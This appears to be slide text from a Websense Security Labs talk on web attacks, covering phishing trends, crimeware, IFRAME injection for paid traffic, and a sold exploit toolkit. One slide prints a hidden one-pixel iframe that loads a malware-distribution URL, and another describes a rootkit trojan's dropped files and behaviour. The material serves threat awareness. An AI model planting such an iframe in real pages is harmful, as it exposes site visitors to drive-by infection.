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Introduction

Websense Security Labs, security research division of 
Websense Inc.
Externalized research starting Aug 2004.
Scan more than 77 million sites per day for malicious code, Phishing, 
and other web exploits.
Lead Crimeware Project as part of APWG.
Thousands of deployed Honey clients, Honey pots, SPAM traps, and
other research tools.
Detect and classify thousands of malicious websites, Spyware, P.U.S.,
Trojan Horses, per week.
Founded “crimeware report” as part of APWG and populate
monthly stats for report and crimeware map.



What is the problem ?

The web is becoming the number one attack vector on the 
Internet.
Phishing and Crimeware are highest growth areas in.
Trojan Horses are used to be covert and stealth and are  far 
more sophisticated than worms of yesterday.
By simply visiting a website your machine and potentially your 
network can be infected with malicious code.
Firewalls, Anti-Virus, Patches, and Policy alone are not solving 
the problem alone.
Targeted attacks are becoming more common and using the 
web is one of the main infection vectors, update, and collection
mechanisms.



Why use the Web as an attack vactor?

Open at almost all companies (port 80 and 443).
Most solutions today are not “content-aware”.
Largest number of vulnerabilities on client.
Largest number of vulnerabilities on servers.
Graphical = better for deception.
Inexpensive.
Difficult to trace and easy to disguise.
Email defenses have improved (cat is still chasing the mouse).



Aren’t we protected enough?

We have a Firewall.

We have anti-virus.

We think we have installed all the latest patches.

We have a security awareness training program.



We have a firewall

ALL ANY PORT 80 / 443 ALLOW

Does not provide enough context. 

“port 80” is a big world.

Would you do this with email?

Do you have any laptops in the Enterprise?



We have anti-virus

Encoding and obfuscation routines are  dynamic and 
easy to modify and change on the fly.

Signature-based systems have difficult time keeping 
up.

Compliance on signature updates to the desktop is 
not simple.

Not all attacks are exploits (social engineering)



Encoding / Obfuscation Example



We have the latest patches

Vulnerabilities are being created, sold, and traded in the 
underground

Several zero-days have been released in the last 3 months

Available patches take a while to deploy

WMF was being exploited for more than 3 weeks with more 
than 2500 sites using it before the patch was released. 
CreateText had a 2 week headstart.



We have an awareness security program



Crimeware technical trends
Exploit code being used increasingly in OS and browsers as 
zero-days are being used to install malicious code for 
crimeware.
Collaboration amongst authors and/or toolkit sharing.
Exploits being used on server side to exploit web sites and end-
user P.C.’s (BOTs being used also).
Deception techniques rising in sophistication, also using 
automation to post on BLOG’s, message boards, and on free 
hosting sites.
Code becoming more sophisticated. Using anti-VM detection, 
exploit checking, rootkits, and redirection.
Targeting multiple entities in one attack (e.g. more than 
hundreds of banks targeted with one Trojan).
Using redundancy on server-side (eg: DDNS, list updates, 
proxies, etc).





IFRAME Cash

Use affiliates to get code onto web pages.
Also exploit web servers .
Insert IFRAME to redirect traffic to them.
Eg:  <iframe src="http://traffbest.biz/dl/adv446.php" width=1 
height=1></iframe>.
Use variety of exploits (including WMF, JavaByte, etc).
More than 2000 sites on the net today have their code 
embedded.
Download and install PUS, Spyware, and sophisticated 
Crimeware. Also send Viagra and other SPAMS.







IFRAME Cash

Among the Potentially Unwanted Software dropped and ran 
they are also dropping and running Rootkit Crimeware that:
– Drops and runs 

• ibm00001.exe
• ibm00001.dll
• ibm00002.dll

– Ibm0001.exe loads ibm0001.dll and calls main export 
function.

– Ibm0002.dll gets injected inside IExplorer process.
– Trojan gets file from server with monitoring details.
– Upon logon replaces screen requesting logon details.
– Changes almost daily. 



Web Attacker

Toolkit sold on the Internet (in Russia).

Costs between $15 - $30.

Checks for multiple browser exploits via user-agent.

Greater than 90% are on Exploited machines.

Installs mostly Trojan Horse Keyloggers.

Close to 1000 sites with this code today. 



Web Attacker Stats Portal



Web Attacker Stats Portal



Lest we forget Phishing…trends

Spear-Phishing : Targeted attacks.
Puddle Phishing: Smaller targets.
Non-financial / ecommerce related attacks (hotels, casino’s, 
travel industry).
More efficient in collecting data.
Kits becoming more popular (hosting multiple brands on one 
server).
Redundancy prevalent with proxy’s, DDNS, fast changing DNS 
records.
More efficient in infecting servers for hosting data.



Summary

The Web is the number one attack vector on the Internet
Malicious code is designed to be covert and stealth
Hacking for fortune is common and professionals are at work.
Phishing is not simply about a lure and a website.
Phishing and Fraud is rising in astronomical numbers (this is 
not an over-hyped threat).
Crimeware is the evolution of the phishing.
Attacks are growing in numbers and sophistication.
Defenses, penalties, arrests, are not keeping up with attacks.



Questions and Answers

To subscribe to free alerts on Phishing and Crimeware:

http://www.websensesecuritylabs.com/subscribe
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